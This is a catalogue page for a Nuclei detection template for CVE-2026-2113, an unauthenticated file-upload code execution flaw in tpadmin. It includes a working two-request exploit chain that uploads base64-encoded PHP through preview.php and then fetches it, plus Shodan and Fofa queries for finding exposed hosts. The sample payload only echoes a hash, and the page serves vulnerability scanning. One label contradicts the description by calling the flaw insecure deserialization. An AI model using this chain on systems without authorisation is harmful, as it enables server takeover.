SecurityContext

CVE-2026-2113: tpadmin <= 1.3.12 - Remote Code Execution

  • Template: CVE-2026-2113
  • Name: tpadmin <= 1.3.12 - Remote Code Execution
  • Description: yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.
  • Impact: Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
  • Remediation: Delete or restrict access to the preview.php script or upgrade to a patched version.
  • Severity: critical
  • Authors: jankesec
  • Tags: cve, cve2026, tpadmin, rce, file-upload, webuploader, intrusive
  • References: https://github.com/yuan1994/tpadmin, https://nvd.nist.gov/vuln/detail/CVE-2026-2113
  • Cves: CVE-2026-2113
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-2113.yaml
  • Digest: 4a0a00473045022100c573cf323010051039fb12ad903a82daf081f28bb5825106fd9533d4e512b63802207b090cb2c838062b97e8db9cfc9ea9deddcbb2ae6bb48e8c185e9a6194e8dc49
  • Created at: 2026-09-10T00:09:13Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 75
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-2113.yaml

Classification

  • Cwe: CWE-434
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.02427
  • Epss percentile: 0.84638
  • Not known: cpe

Metadata

  • Fofa-query: body="tpadmin"
  • Max-request: 2
  • Product: tpadmin
  • Shodan-query: http.html:"tpadmin"
  • Vendor: yuan1994
  • Verified: yes

Products

ProductIndexedUrl
yuan1994:tpadminno—

Labels

  • Name: yuan1994 tpadmin - Insecure Deserialization
  • Impact: Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  • Remediation: Upgrade to the latest version or apply available patches; consider migrating to supported products.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-2113
  • Not known: requirements

```yaml

id: CVE-2026-2113

info:

name: tpadmin <= 1.3.12 - Remote Code Execution

author: jankesec

severity: critical

description: |

yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.

impact: |

Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.

remediation: |

Delete or restrict access to the preview.php script or upgrade to a patched version.

reference:

- https://github.com/yuan1994/tpadmin

- https://nvd.nist.gov/vuln/detail/CVE-2026-2113

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2026-2113

epss-score: 0.02427

epss-percentile: 0.84638

cwe-id: CWE-434

metadata:

verified: true

max-request: 2

vendor: yuan1994

product: tpadmin

shodan-query: http.html:"tpadmin"

fofa-query: body="tpadmin"

tags: cve,cve2026,tpadmin,rce,file-upload,webuploader,intrusive

flow: http(1) && http(2)

http:

- raw:

- |

POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

- |

POST /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

stop-at-first-match: true

matchers:

- type: word

part: body

words:

- '"jsonrpc"'

- 'preview/'

condition: and

internal: true

extractors:

- type: regex

name: preview_path

part: body

group: 1

internal: true

regex:

- '"result" : "https?://[^/"]+(/[^"]+\.php)"'

- raw:

- |

GET {{preview_path}} HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- "8d545c3577fdfbf5ae9e254ca893a0ef"

- type: status

status:

- 200

digest: 4a0a00473045022100c573cf323010051039fb12ad903a82daf081f28bb5825106fd9533d4e512b63802207b090cb2c838062b97e8db9cfc9ea9deddcbb2ae6bb48e8c185e9a6194e8dc49:922c64590222798bb761d5b6d8e72950

```